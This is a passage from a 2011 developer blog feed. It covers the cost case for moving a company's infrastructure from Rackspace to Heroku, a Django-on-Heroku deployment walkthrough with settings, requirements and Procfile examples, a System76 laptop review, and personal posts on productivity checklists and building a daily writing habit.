Regardless of the fact that I enjoy writing puppet modules and building a large, scalable infrastructure–it is disheartening to spend an entire month working extremely hard, building awesome back end tools, only to have nothing to show your users for your hard work. While I’m extremely happy and grateful to have learned so much about deploying robust services, a change was necessary.

When I sat down and calculated what a typical workday would look like for me if we moved to Heroku, I immediately knew we needed to make the switch, regardless of the risk. Based on my time estimates, a typical day for me (after moving all our infrastructure to Heroku) would look something like:

10% of time planning tasks, working on TODO items, etc.
90% of time hacking on our company projects.

That is a drastic change.

Going from 5% to 90% of available hacking time per day? I’ll take it!

There’s nothing I love more than writing code (excluding my wife and dog). Building infrastructure tools is fun and all, but in comparison to building new libraries and features? No comparison.

With the ridiculous amount of time Heroku would save each day, my company would be able to ship insane amounts of code. When I discussed this with my boss, the decision seemed clear: use Heroku.

Price

After calculating the manpower time Heroku would save, the next thing I wanted to calculate was the price. Exactly how much will it cost us to move to Heroku?

NOTE: I received a lot of price related questions when I published the last installment of this series. A lot of people emailed me saying that they’d love to use Heroku, but after looking at their prices, decided to stick with AWS or Rackspace. Hopefully this information clears up any misconceptions.

To start, I’d like to take a moment to explain Heroku’s overall pricing scheme. Understanding how Heroku bills will probably answer a lot of questions.

Heroku’s core service is a dyno. A dyno is essentially a long running program that:

Uses up to 512M of RAM (and can burst up to 1.5G if you don’t mind swap).
Shares CPU with other dynos on the system.
Can scale horizontally as much as necessary.

For each application you have on Heroku, you get 1 free dyno per month. If you just want to run a small website, you can do it completely free of charge. For each additional dyno you run, Heroku charges 35$ per month (5 cents per hour, at the time of writing).

Based on Heroku’s simple pricing rules, you can easily gauge how much running your application will cost. What’s nice about Heroku’s billing is that, like AWS (which Heroku is built on top of), you pay only for your usage (per hour). This allows you to instantly scale up (and down) your dynos based on traffic. If you get a lot of hits every Friday night, you can spin up a few extra dynos to handle the load, then remove them Saturday morning, only spending a few dollars in the process.

In regards to Heroku’s database pricing, here’s what you need to know: every application you create can use a free shared PostgreSQL database. The free database you get allows you store as much data as you want. The catch? The free database only provides 5M of RAM for your data. That means queries will be slow; however–for a majority of sites, a shared database will suffice. What’s great about the shared database is that, like their paid counterparts, Heroku manages it for you. That means no data loss, full access to your backups, etc.

Heroku’s dedicated databases are much more robust than their free counterparts. In terms of pricing, their cost goes up based on the amount of allowed connections, RAM, and CPU units. Currently, the cheapest dedicated database plan costs 200$ per month, allows 16 concurrent connections, has 1.7G of RAM, and 1 CPU unit.

What’s nice about the dedicated database plans (and what justifies their price, in my opinion), is that:

You get direct psql access.
They run PostgreSQL 9.2 (instead of 8.3).
You can instantly create read slaves, and duplicate masters (for staging, testing, etc.).
You are billed by the hour (just like dynos).
They are fully managed (you’ll never lose data, or have to worry about downtime).

If you take into account what you get for those database prices, you’ll see that you’re getting an insanely good deal. My favorite feature is Heroku’s concept of forking and following.

Let’s say you have a single paid database (with the name HEROKU_POSTGRESQL_GREEN), and you want to create a read slave. Heroku allows you to follow your existing database (HEROKU_POSTGRESQL_GREEN), and in doing so, automatically provisions your new database as a read slave. For instance, to provision a new read slave in the scenario I just described, I could simply run:

$ heroku addons:add heroku-postgresql:ronin --follow HEROKU_POSTGRESQL_GREEN

And I’d have a new read slave up and running in a short period of time.

Similarly to Heroku’s follow feature is fork. Forking a database gives you a new database with a snapshot of your existing database’s data. It won’t stay up-to-date with changes (aka: become a read slave). This is useful for creating staging environments with real production data in them, testing schema changes, etc.

Given the amount of work it takes to create new read slaves and databases by hand (or using tools like puppet and chef), Heroku’s method is infinitely simpler, and more graceful. Furthermore, in my experience, the process is very fast. When I’ve provisioned read slaves for my applications, they only take as long to finish building as the amount of data needed to copy over to them.

OK, let’s talk about add-ons.

Heroku’s add-ons are… Well… Perfect. All the add-ons I use in production: memcached, NewRelic (this particular add-on is so amazing that I’m dedicating an entire section of this series to it), Redis, and RabbitMQ are all excellent.

The add-ons are all very fairly priced (in my opinion), and have free tiers that allow you to use them at no cost with small amounts of data. Just as with Heroku’s free tier, a majority of the add-ons’ free tiers are sufficient to use for small websites without paying a dime. This lets you bootstrap your projects from the start, and pay for them as they grow.

As with Heroku’s dynos, all the add-ons I’ve used provision instantly. In addition to fast provisioning–all add-ons can also be resized; you can downgrade or upgrade them at any time using the Heroku command line tool. This makes scaling your infrastructure components a one liner.

Hidden Cost

One thing that played an important role in our decision was the hidden cost of running our infrastructure ourselves.

When you’re simply looking at basic price comparisons between services (in our case, Rackspace vs. Heroku), it’s easy to miscalculate cost. In our case, we looked at the cost of Rackspace instances vs. the cost of Heroku dynos.

Since Heroku dynos give you 512M of RAM to work with, I based my initial price comparison on this factor. A single Heroku dyno costs 35$ per month, and a 512M Rackspace server costs 21.90$ per month. According to this simplistic analysis–Heroku looks approximately 1.5x’s as expensive.

The hidden costs show themselves in three primary areas:

Infrastructure management cost.
Scaling cost.
Bandwidth.

Infrastructure Management Cost

Quite possibly the largest hidden cost for us was infrastructure management.

The most obvious manifestation of infrastructure management cost in our company was engineering time. As I stated above, it was not uncommon for me to spend 85% of my time (per day!) writing infrastructure related code. That’s an enormous investment.

The second hidden infrastructure cost is related to building reliable services. Since my company primarily builds teleconferencing systems, high availability is a requirement. It is simply unacceptable for us to have even small periods of downtime, since we’re dealing with real-time conversations.

What this meant in our case was that we needed to have multiple copies of everything. One web server? No good. One MySQL master server? No good. One load balancer? No good. One RabbitMQ server? No good. I’m sure you can see where this is going.

Having multiple backup servers ready to handle outages adds considerable expense to any infrastructure. For us, it meant we paid nearly twice as much as necessary to host our servers so that we could reliably recover from failures.

In addition to the extra server cost per month, there is also a high overhead for time required to not only build working backup and fail over programs for each piece of our infrastructure, but also to build (and test) the recovery software itself, to ensure that when we do fail over, it actually works.

Scaling Cost

While not nearly as devious infrastructure management cost–scaling cost is also infrequently mentioned.

In the teleconferencing business, it is normal to get large amounts of traffic during certain hours of the day. Since our business is fairly easy to predict, dynamically resizing our infrastructure based on actual need can save a lot of money.

Unfortunately, in order to dynamically resize your infrastructure, you need to spend an enormous amount of time building tools that can do this. In my case, I spent many hours over a period of almost a year writing fabric scripts that could bootstrap new nodes (new web servers, RabbitMQ servers, etc.) using the apache-libcloud library. While both fabric and apache-libcloud make writing these sorts of scripts easier, it is still a large task to do it right.

Even after writing scripts that make dynamically creating and removing servers simple–there is still a time factor involved in the actual process. For instance–booting a Rackspace server can take anywhere from 60 seconds to 5 minutes. In addition to that, once the server has been booted, the scripts I wrote would install the required base software along with puppet (to handle the node configuration). Once puppet is installed, it would take another large block of time (up to 30 minutes for some applications) to fully finish provisioning the server for usage. That’s a long time.

Having a 35+ minute delay when you need to scale your infrastructure? Unacceptable.

One of Heroku’s greatest strengths is their incredibly simple scaling procedures. You can instantly add and remove dynos with a single command. Furthermore, their scaling seems to be instant. There is no waiting to provision new servers, install puppet, etc.–it just works.

Bandwidth

Depending on what sort of applications you run, bandwidth pricing may be a concern for you. In my case, we don’t use much bandwidth, so it was never a considerable cost–but I thought I’d mention this anyhow.

The way Heroku handles bandwidth pricing is that each application you have is allowed 2TB of bandwidth per month, included in your cost. Any more than that, and I’m assuming they’ll charge you extra (although I could not find information on this anywhere on their site).

In comparison to Heroku, Rackspace charges for bandwidth in a per-gigabyte fashion. According to the Rackspace pricing calculator I used on their site, 2TB of bandwidth on Rackspace can cost you an additional $368.64 per month. That’s a lot in comparison to the 0$ you’d pay for the same amount of bandwidth using Heroku.

Summary

After analyzing the costs (both obvious and hidden) of both keeping our setup the way it was, or switching to Heroku; we decided overwhelmingly to move to Heroku.

In terms of usefulness, simplicity, elegance, and cost–there is absolutely no comparison. For my company, using Heroku was clearly the best choice to make.

Since switching to Heroku, my company has saved lots of money on server costs, and even more money in engineering time. Since the switch, we’ve completed more features, bug fixes, and have overall accomplished more than at any other point in the year. The effect has been tremendous.

In the next part of this series, I’ll be discussing how I actually moved my company’s infrastructure from Rackspace to Heroku. I’ll get into the technical details, and explain the entire setup from start to finish.

UPDATE: I wrote a book on Heroku! If you liked this post, you should check it out. It’s called The Heroku Hacker’s Guide, and you can buy it here: http://www.theherokuhackersguide.com/

My 'Done' List

r@rdegges.com (Randall Degges) — Sun, 25 Dec 2011 00:00:00 -0800

I really enjoy thinking and writing about programming. Since I started writing code years ago, I’ve been obsessed with code quality and best practices–and I think it’s safe to say that a lot of hackers out there feel the same.

I’m pretty sure my urge to write excellent code is driven by some innate desire to perfect everything; regardless, I stopped trying to fight it long ago, and started embracing it.

DISCLAIMER: what I’m about to discuss is stupidly obvious. I actually feel quite stupid writing this; however, since this has made such a large impact on my code quality and programming mentality, I figured I would share it despite my shame.

Have a “Done” List

One of the greatest productivity tricks I’ve learned has been this: always have a “done” list.

A “done” list is checklist that you use as a personal binding contract. Having a “done” list means making a commitment to yourself that each time you touch a piece of code, you don’t consider it “done” until you’ve completely gone through your checklist.

For instance, my “done” list is:

Purpose of what I’m doing is logged in some form of tracking system (GitHub Issues, sprintly, etc.).
Tests are written.
Code implemented.
Tests pass.
Code review.
Documentation written.
Deployed.

If that means it takes a while longer to code, then so be it. A “done” list is a simple way to hold yourself to a high development standard, and consistently write quality code.

I’ve found that even when I’m not able to consistently go through my “done” list every time I touch code–through the process of trying to meet each of my “done” requirements, I write much better code than I would otherwise.

What I've Learned About Writing (So Far)

r@rdegges.com (Randall Degges) — Mon, 19 Dec 2011 00:00:00 -0800

As I mentioned a few days ago, I’ve been working on establishing a writing habit in my daily life. Today marks the 10th continual day, since starting, that I’ve been writing for at least 30 minutes a day.

I figured now would be a good time to reflect on what I’ve learned so far. Above all else, what I’ve learned so far is that

Practice Works

I’ve read numerous books on skill building, including one of my all time favorites, Talent is Overrated. The book discusses how people who are excellent at what they do become excellent. The secret is: disciplined practice. Top performers (in all fields) set aside time each day to practice what they are bad at, and struggle through exercises.

Focused practice over longs periods of time builds skill. There are no shortcuts.

While I’ve always enjoyed writing casually, this has been the first time in my life that I’ve actually set aside time each day to sit down and write for a specific time frame.

Although it has only been 10 days so far, I’ve noticed that my continued practice is already making a difference. So far the difference doesn’t seem to be in my writing itself, but in my attitude towards writing.

I’ve noticed that I’ve been able to write with a much higher level of joy in the past few days than at any previous time in my life. Maybe this is just an emotional side effect of the continuous success I’ve had in sticking to my schedule for the past 10 days–but I have been enjoying writing a lot more than normal.

Furthermore, I’ve become a lot less rigid with my writing. As a perfectionist, I’ve always had problems expressing my thoughts on paper. When I would attempt to write, I’d spend long periods of time working out each sentence in my head perfectly before writing it down. This behavior tended to eat up a lot of momentum.

Since I’ve started writing daily, I’ve been able to simply type what I’m thinking, gradually refining it. This feels great. It feels like the shackles that have held me back from expressing my thoughts are beginning to loosen.

Goals

I don’t have any specific goals in regards to my writing at the moment. At least for a while, I’d like to simply continue writing for 30 minutes each day, and gradually become better at expressing my thoughts in a clear, concise, and structured way.

I’m hoping that as I practice writing more and more, it will become more natural for me, and I’ll be able to experience a greater feeling of relief and happiness while writing.

DevOps Django - Part 3 - The Heroku Way

r@rdegges.com (Randall Degges) — Sun, 18 Dec 2011 00:00:00 -0800

This article is part of a series I’m writing called DevOps Django, which explains how to best deploy modern Django sites. If you’re new, you should probably read the first article of the series before this one.

My Search for Solutions

In the previous installment of this series, I discussed (in depth) the problems with deploying Django as a devops guy. After struggling with deployment for ~2 years, and finding very little relief in modern devops tools (puppet, monit, nagios, etc.), I started looking for new solutions.

Several months ago I was reading Hacker News and noticed that Heroku had recently added Python support to their platform-as-a-service stack. If you’re not familiar with Heroku, they’re a very popular polyglot hosting platform. They’ve been around since 2007 providing Ruby hosting, but over the past year they’ve added support for multiple languages, and seem to be kicking ass and growing like mad.

I’ve continuously heard their name mentioned by other programmers, but this was the first I’d heard of them having any Python support, so I bookmarked their Django tutorial and told myself I’d give it a spin sometime.

Coincidentally, a few weeks later I was asked to give an impromptu lightning talk during a pyladies hack-a-thon, so I decided to give Heroku a spin, and do my lightning talk on that. In a weird twist of fate, the few hours I spent learning Heroku turned out to be some of the best invested hours of my life.

During the hack-a-thon I built and deployed a simple Django site (with celery support) in just under an hour. If I were to build the same site and attempt to deploy it on EC2, I’d have easily spent a week getting things deployed using puppet, monit, nagios, etc.

After the hack-a-thon ended, I decided to play around with Heroku a bit more, and see what the platform really had to offer other than what I used during my short sprint.

A Second Look

Later that week, I had a few hours to kill, so I revisited Heroku’s website, and read through all their help resources and tutorials. I also took an in-depth look at their add-ons, trying to decide what their services could be used for: personal projects, business ideas, work projects?

The first thing I was blown away to discover is that Heroku has an enormous amount of add-ons. They literally have add-ons for almost any piece of infrastructure you could ever want: PostgreSQL, Redis, cron, memcached, RabbitMQ, Solr, etc. Upon seeing this, I started to get excited.

Second, I took the opportunity to play around with their extremely easy to install and use CLI tool, and was blown away again. Heroku’s CLI tool gives you complete control over your Heroku applications. You’re able to create new Heroku applications out of Git repositories, instantly provision add-ons for your application (PostgreSQL, Redis, etc.), view streaming log files, instantly scale up (and down) your nodes, etc. Furthermore, you’re able to run shell commands locally using their CLI tool. Need to access the Django shell? No problem, you can simply execute heroku run python manage.py shell from your terminal.

By this point, I was really itching to use Heroku for something serious.

While I was able to build and deploy a simple Django site on Heroku in under an hour during the hack-a-thon, I knew that I needed to port a much larger, more complex site over to Heroku to really see if it could meet my professional needs.

So, I checked out a fresh copy of the teleconferencing service that I develop at work, and got to it.

How I Ported My Work Application to Heroku

If you’d like to see details about what technologies the teleconferencing service uses, check out the previous part of this series. As the teleconferencing service is large, complex, and infrastructure heavy–I figured that if I could port it to Heroku then I’d be able to use Heroku for almost anything.

The first thing I did was create a new Heroku application using their CLI tool: heroku create, then deploy my application to Heroku using Git: git push heroku master.

Secondly, I installed a few add-ons so I could use my required infrastructure components (RabbitMQ, memcached, PostgreSQL, and cron):

heroku addons:add cloudamqp
heroku addons:add memcache
heroku addons:add heroku-postgresql:dev
heroku addons:add scheduler

NOTE: By leaving off the size of the add-ons at the end, you install the cheapest (smallest) plan for each service. By adding these add-ons just as I’ve shown above, it adds 0$ per month to your bill.

Next, I modified my production settings file (project/settings/prod.py, in my case), to work with Heroku’s hosted RabbitMQ, memcached, and PostgreSQL services. In the end, my settings file looked something like this:

"""Production settings and globals."""


from os import environ
from sys import exc_info
from urlparse import urlparse, uses_netloc

from S3 import CallingFormat

from common import *


########## EMAIL CONFIGURATION
# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-backend
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-host
EMAIL_HOST = environ.get('EMAIL_HOST', 'smtp.gmail.com')

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-host-password
EMAIL_HOST_PASSWORD = environ.get('EMAIL_HOST_PASSWORD', '')

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-host-user
EMAIL_HOST_USER = environ.get('EMAIL_HOST_USER', 'your_email@example.com')

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-port
EMAIL_PORT = environ.get('EMAIL_PORT', 587)

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-subject-prefix
EMAIL_SUBJECT_PREFIX = '[%s] ' % SITE_NAME

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#email-use-tls
EMAIL_USE_TLS = True

# See: https://docs.djangoproject.com/en/1.3/ref/settings/#server-email
SERVER_EMAIL = EMAIL_HOST_USER
########## END EMAIL CONFIGURATION


########## DATABASE CONFIGURATION
# See: http://devcenter.heroku.com/articles/django#postgres_database_config
uses_netloc.append('postgres')
uses_netloc.append('mysql')

try:
 if environ.has_key('DATABASE_URL'):
 url = urlparse(environ['DATABASE_URL'])
 DATABASES['default'] = {
 'NAME': url.path[1:],
 'USER': url.username,
 'PASSWORD': url.password,
 'HOST': url.hostname,
 'PORT': url.port,
 }
 if url.scheme == 'postgres':
 DATABASES['default']['ENGINE'] = 'django.db.backends.postgresql_psycopg2'
 if url.scheme == 'mysql':
 DATABASES['default']['ENGINE'] = 'django.db.backends.mysql'
except:
 print "Unexpected error:", exc_info()

#DATABASE_ROUTERS = ('settings.routers.MasterSlaveRouter',)
########## END DATABASE CONFIGURATION


########## CACHE CONFIGURATION
# See: https://docs.djangoproject.com/en/1.3/ref/settings/#caches
CACHES = {
 'default': {
 'BACKEND': 'django_pylibmc.memcached.PyLibMCCache',
 'LOCATION': 'localhost:11211',
 'TIMEOUT': 500,
 'BINARY': True,
 'OPTIONS': {
 'tcp_nodelay': True,
 'ketama': True,
 }
 }
}
########## END CACHE CONFIGURATION


########## CELERY CONFIGURATION
# See: http://docs.celeryproject.org/en/latest/configuration.html#broker-transport
BROKER_TRANSPORT = 'amqplib'

# See: http://docs.celeryproject.org/en/latest/configuration.html#broker-url
BROKER_URL = environ.get('CLOUDAMQP_URL', '')

# See: http://docs.celeryproject.org/en/latest/configuration.html#celery-result-backend
CELERY_RESULT_BACKEND = 'amqp'

# See: http://docs.celeryproject.org/en/latest/configuration.html#celery-task-result-expires
CELERY_TASK_RESULT_EXPIRES = 60 * 60 * 5
########## END CELERY CONFIGURATION


########## STORAGE CONFIGURATION
# See: http://django-storages.readthedocs.org/en/latest/index.html
INSTALLED_APPS += (
 'storages',
)

# See: http://django-storages.readthedocs.org/en/latest/backends/amazon-S3.html#settings
DEFAULT_FILE_STORAGE = 'storages.backends.s3boto.S3BotoStorage'
STATICFILES_STORAGE = 'storages.backends.s3boto.S3BotoStorage'

AWS_CALLING_FORMAT = CallingFormat.SUBDOMAIN

AWS_ACCESS_KEY_ID = environ.get('AWS_ACCESS_KEY_ID', '')
AWS_SECRET_ACCESS_KEY = environ.get('AWS_SECRET_ACCESS_KEY', '')
AWS_STORAGE_BUCKET_NAME = environ.get('AWS_STORAGE_BUCKET_NAME', '')

STATIC_URL = 'https://s3.amazonaws.com/%s/' % AWS_STORAGE_BUCKET_NAME
########## END STORAGE CONFIGURATION


########## WEBSERVER CONFIGURATION
# See: http://gunicorn.org/
INSTALLED_APPS += (
 'gunicorn',
)
########## END WEBSERVER CONFIGURATION


########## SECRET KEY CONFIGURATION
SECRET_KEY = environ.get('SECRET_KEY', '')
########## END SECRET KEY CONFIGURATION

As a quick note, every time you push code to Heroku, they automatically read your top-level requirements.txt file, and install any packages you’ve defined. This makes handling site dependencies completely transparent to you (the developer). In order to get my site working on Heroku, the only change I had to make to my requirements file was adding django-pylibmc-sasl*, as the Heroku memcached add-on requires SASL authentication, which the commonly used python-memcached library doesn’t provide.

Just for clarity, here’s my requirements.txt file:

Django==1.3.1
docutils==0.8.1
psycopg2==2.4.2
Fabric==1.3.2
South==0.7.3
gunicorn==0.13.4
newrelic==1.0.5.156
django-celery==2.4.2
django-kombu==0.9.4
django-storages==1.1.3
boto==2.1.1
pylibmc==1.2.2
django-pylibmc-sasl==0.2.4
django-sorting==0.1
django-guardian==1.0.3
django-pagination==1.0.7
pyst2==0.4
django-annoying==0.7.6
django-tastypie==0.9.11
django-coverage==1.2.1
django-nose==0.1.3
nosexcover==1.0.7
django-debug-toolbar==0.8.5
Sphinx==1.1.2
django-cache-machine==0.6

As you can see in the settings file, Django is simply using environment variables to interact with the various infrastructure components we added earlier. All of Heroku’s add-ons work by exporting one (or more) environment variables that your application can use. This makes using Heroku add-ons extremely convenient. You can reuse most of your Django settings across all your projects, since you’re storing the important stuff in environment variables. No coupling required.

Additionally, the Heroku CLI tool also allows you to set, edit, and remove your own environment variables. I used this functionality to set my application’s SECRET_KEY, along with other arbitrary stuff (like my Amazon S3 credentials, etc.). To add these environment variables to my Heroku application, I simply ran:

$ heroku config:add SECRET_KEY=xxx
$ heroku config:add AWS_ACCESS_KEY_ID=xxx
...

The next thing I did was define a top-level file, Procfile, which Heroku uses to specify the different types of dynos you’ll be running. Essentially, a Procfile just lists a series of executable commands that do stuff. Here’s the Procfile I wrote:

web: python project/manage.py run_gunicorn -b "0.0.0.0:$PORT" -w 3 --log-level info --settings=settings.prod
scheduler: python project/manage.py celeryd -B -E --settings=settings.prod
worker: python project/manage.py celeryd -E --settings=settings.prod

Each line contains a reference name, followed by the command you want to run. In my case, I’ve got three separate dyno types: a Gunicorn instance (this is my actual Django web application), a celerybeat instance (for scheduling periodic tasks), and a celery worker instance (for processing asynchronous tasks).

The way Heroku runs and manages your application is via these dyno types. For instance, let’s say I want to have Heroku run three web instances (this is the equivalent of running three separate web servers), I could run: heroku scale web=3 from the CLI, and Heroku would instantly ensure that three of my web dynos are running–automatically load balancing incoming HTTP requests across the three.

NOTE: You can run heroku ps to see what processes (and how many of each) are running.

After defining my Procfile, I just ran:

$ heroku scale web=1 scheduler=1 worker=1

And Heroku instantly spun up my entire cloud infrastructure.

INSANE!

NOTE: If you are running celerybeat, be sure to only run it a single time, and no more. If you have multiple celerybeat instances running, you’ll have duplicate tasks in your queue. That’s why I specifically created two separate celery dyno types, scheduler and worker, so that I could safely scale my worker processes using: heroku scale worker=x, while keeping only a single scheduler.

A Quick Recap

It took me a total of ~2 hours to:

Make a large website and API completely Heroku compatible.
Fully provision a PostgreSQL server.
Fully provision a memcached server.
Fully provision a RabbitMQ server.

And don’t forget–this is the amount of time it took me while still learning about Heroku, and reading through the documentation. I think it is fair to say that if there were more tutorials, articles, and information available, this process could be shortened substantially.

I’ll repeat this again: that is INSANE.

Compared to the time, effort, and maintenance required to setup my teleconferencing application normally using a standard devops tool set, this was a piece of cake. I didn’t have to provision a puppet server, manage a puppet repository, or anything.

Heroku makes deployment so easy, you don’t even need a fabfile.

The Heroku Way

Through the process of learning, using, and eventually moving my company’s entire infrastructure over to Heroku, I learned quite a bit about Heroku’s ideals.

In my initial article discussing the deployment problem in the Django community, I said that I have a dream for the Django community; a dream that all Django developers can build their websites with peace of mind, knowing a production deployment is no more than 10 minutes away.

Heroku is quickly making my dream a reality.

The Heroku Way, as I refer to it now, consists of a few simple principles:

Build your Django sites using standard open source tools.
Use Git to manage your deployment revisions.
Instantly provision, resize, or remove any infrastructure components you need.
Keep your private data decoupled from your code base via environment variables.
Instantly scale your infrastructure up and down as you please.
Pay by usage.

After having tried numerous deployment methods myself, and after using Heroku, I strongly believe that Heroku’s approach to solving the deployment problem is the right way. As a developer, using Heroku is a big win:

You can deploy both small and large sites the same way (and scale them as large as you’d like with no added complexity).
It’s cost effective (Heroku’s prices aren’t much more expensive than Amazon’s, which Heroku is built on top of). I’ll go into more depth on this in my next article.
You aren’t locked into anything: the same code base you use to develop your site locally can be used on Heroku in a matter of minutes.

Deploying code to Heroku feels right. As a developer, you shouldn’t have to spend 90% of your time writing puppet rules and working with vendor APIs to provision servers. You shouldn’t need two weeks to scale your site when you get an influx of users.

Instead, you should be coding–which is precisely what Heroku is designed to help you do.

In the next part of this series, I’ll be detailing my decision to move from Rackspace to Heroku. Making an infrastructure move is a big decision. In the next article I’ll discuss my reasoning with you.

UPDATE: I’ve finished the next part of the series! You can read it here.

UPDATE: I also published a book on Heroku! If you’d like to check it out, you can do so here: http://www.theherokuhackersguide.com/.

System76 'Bonobo' Ubuntu Laptop Review

r@rdegges.com (Randall Degges) — Wed, 14 Dec 2011 00:00:00 -0800

I don’t normally write product reviews on my blog (although I do frequently write amazon reviews), so this is a bit out of place. However, I feel the need to write about the System76 laptop I recently purchased.

NOTE: I’m not making any money off this. I’m not in any way affiliated with System76. I don’t have any affiliate links, or any of that jazz.

As a programmer (and more importantly, nerd) I spend a majority of my days (and nights) online. As a Linux guy, finding a decent laptop that has full hardware compatibility can be a huge pain. Over the past year I’ve been using a laptop as my primary machine, which has compounded this issue and made it a nightmare for me to find new laptops when an old one dies. In case you’re wondering, I’ve gone through 4 laptops this past year, and each time spent no less than 4 days finding a suitable replacement.

The problem with finding a decent Linux laptop is that even if you google the exact model you plan on purchasing before hand, there is no guarantee it will work. At least in my experience, Google’ing laptop models before purchase is a lot like playing Russian roulette–you may get lucky, but it’s a risk.

The last time I purchased a laptop earlier this year I spent quite a while online researching the best options, eventually settling with a high end HP that was within my price range. Fast forward two weeks to delivery day–I’m installing Ubuntu on the laptop, and to my dismay, there are no video card drivers available. Damn.

System76

After having several awful Linux laptop experiences, I asked some friends to recommend a decent hardware vendor with full Linux support. That’s when I first heard of System76. They’re a hardware vendor that builds and ships Ubuntu ready laptops, desktops, and servers.

A few weeks back, when my current laptop started dying, I decided to give System76 a try and I ordered their Bonobo model (their largest laptop). I got the base model with a couple small modifications:

A 120G SSD drive (I like speed).
8G of RAM.

I decided to go with their largest model (it’s a 17.3") because I love looking at lots of code on a single screen. I don’t use any external monitors, so having a large screen is important for my day-to-day work flow.

With the background out of the way, here’s my review of the actual laptop.

First Impressions

System76 did a great job on first impressions. You know how most laptops typically come in awful boxes, filled with tons of spam? System76 doesn’t do that at all. The shipping box was simple, easy to open, and not cluttered.

Inside their shipping box there was simply the laptop, the carrying case, and a card with links to the System76 website for help. Elegant.

My first thoughts upon seeing the actual laptop (once I pulled it out and set it on my table) was: woa. The laptop is really big and sturdy looking. It’s got a metallic casing around it (not plastic), and looks expensive. The lid of the laptop has the System76 logo etched into it, which looks brilliant.

The screen on this thing is amazing. It’s huge, clear, and surprisingly crisp. Maybe I’ve just been using shitty laptops ’till now, but this thing makes my old Sony Vaio look like a child’s toy.

The keyboard is sturdy with thick, responsive keys. This is a big win for me, as I type fast, and having highly responsive keys just feels right.

Also: there are no stickers on the laptop. I hate getting a new machine covered in Intel, Windows, and other ridiculous stickers. This gives the laptop a really nice clean look, and it’s refreshing to not be bombarded by hardware ads.

Software Support

After working my way through the first boot process just to see what it was like (it was fine), I popped in my own Ubuntu 11.04 CD and formatted the box. I was curious to see if this laptop was truly Linux compatible, or if it was just loaded with a bunch of special drivers to make things work decently.

Surprisingly, I had absolutely no issues installing Ubuntu. Everything worked perfectly out of the box. Web cam, microphone, video card drivers, etc. It was a pretty great feeling to get everything installed fresh with no issues whatsoever.

Speed

This thing is fast. Really, insanely fast. I don’t have much else to say about this, except that I’ve never had such a fast System. Ubuntu boots in less than 2 seconds, consistently.

Pricing

If you’ve ever purchased a laptop online from a major hardware vendor (Dell, HP, etc.), you’ll notice that when customizing the laptop components, you’ve got a million choices. It’s typical to be able to choose from at least 20 different CPUs, 30 times of RAM, etc.

From what I saw, System76 takes a different approach. All their base Systems have excellent hardware, and they only offer a few upgrade options. I prefer this a lot more to the traditional model. Why? Because pricing is a lot clearer. Instead of purchasing a laptop that you think will cost 500$, and then upgrading it to make it decent and then realizing that the price is now 3,000$–you know right off the bat what sort of price you’re looking at.

While this laptop was expensive (I paid ~1,800$), its hardware stats are comparable to similarly priced HP laptops.

Problems

NOTE: I’ve only been using this laptop for two weeks so far. If I experience any other problems I’ll update this post to include them.

The power key. The most annoying problem I’ve had with the laptop to date is the power key. It’s hard to press. I can push it down easily enough, but it seems like you have to push it down and hold it for a second for it to actually recognize your key press. This is pretty annoying as it takes me at least two tries to turn the thing on.

The caps lock / num lock / wifi icons that light up when they’re on are ugly. They look like they’re pixelated globe icons from the 1980s. System76–if you read this, consider using something a bit nicer looking. They really detract from the clean, professional look of the laptop.

Lastly, the power cable for this thing is massive. The laptop doesn’t use your standard size power cord, it has a massive black box at least 3x’s larger than any laptop cord I’ve owned before. While I understand this is the largest model of laptop, and it has high end power-hungry hardware, the cord size still matters (at least to me). I haven’t carried this laptop anywhere with me yet, but I assume that when I do, my carrying case will be at least a few pounds heavier with the cord inside.

Conclusion

System76 makes a damn good laptop, as far as I’m concerned. Despite a few minor flaws, this thing has been excellent. I can honestly say that I’ve never owned such a great laptop in my life.

It’s fast, sturdy, looks great, and has perfect Linux hardware compatibility.

If you’re a Linux guy looking for a great laptop, I’d strongly recommend you give System76 a shot for your next purchase.

You can check out all their systems on their main site: http://www.system76.com/

Establishing a Writing Habit

r@rdegges.com (Randall Degges) — Tue, 13 Dec 2011 00:00:00 -0800

I’m a big fan of personal growth and development. My thought on the matter is that each of us is only given a little time to live, so we might as well make the most of it. Improving yourself is always a good time investment.

A few years ago I started building positive habits. I read a few books, and learned that one of the most effective ways to cultivate yourself is by slowly building positive habits into your daily routine, one at a time. Shortly thereafter I discovered HabitForge, a web application that helps you build new habits by sending you daily email reminders and tracking your progress.

Let’s say you want to read for 30 minutes every day. According to the research HabitForge has done, if you force yourself to read 30 minutes a day for 21 days in a row, your 30 minutes of reading will have become a natural habit. Of course, your habit won’t come completely naturally (you will still have to put fourth conscious effort to do it each day), but it will be significantly easier for you to maintain day after day.

The catch is that if you break-the-chain, you have to start your 21 day habit building cycle fresh. This means that if you read for 20 days in a row, but on the 21st day forget–you’re our of luck. You’ll need to start again from day 1, and work through a full 21 day period before your habit will become second nature.

The great thing about the 21 day method is that it seems to work (at least it does for me). Last year I built several habits that I’ve kept since. My only regret is that I didn’t continue to add more habits after successfully establishing a few great ones.

Which brings me to the topic of this article…

Writing

I’ve always enjoyed writing. It appeals to my sentimental side. There’s something about writing that just feels great. The best way I can describe the way I feel when writing is:

Imagine Leonardo DaVinci in his workshop in Italy in the late 1400s. He’s been obsessively locked up in there for weeks on end building a new prototype. It’s late at night, and there are papers scattered across his desk. He’s sitting on a wooden stool, hunched over the desk working by candlelight, madly scribbling his discoveries using a feather pen into an extremely aged looking notebook.

That’s how writing makes me feel.

Unfortunately, while I have written quite a lot over the past few years–I’ve come nowhere close producing either the quality or quantity of writing that I’d like to.

A few days ago I started a new habit on HabitForge, my first one in a few months–dedicated to writing. I’m going to make “writing for 30 minutes” a daily part of my routine. It isn’t much, but I’m hoping that 30 minutes of intensely focused writing will help me grow as a writer.

If you’re one of the few people who do actually read what I write on here, you can expect to see more frequently articles in the coming days and weeks.

If you’re looking to build new positive habits into your life, why not make an account at HabitForge (it’s totally free) and get started?

UPDATE: I wrote some reflections on my writing habit progress so far, you can read them here.

UPDATE: My writing habit is built! I’ve written for 30 minutes for each of the 21 days without fail. I wrote another post which also includes some tips and thoughts, you can read it right here.

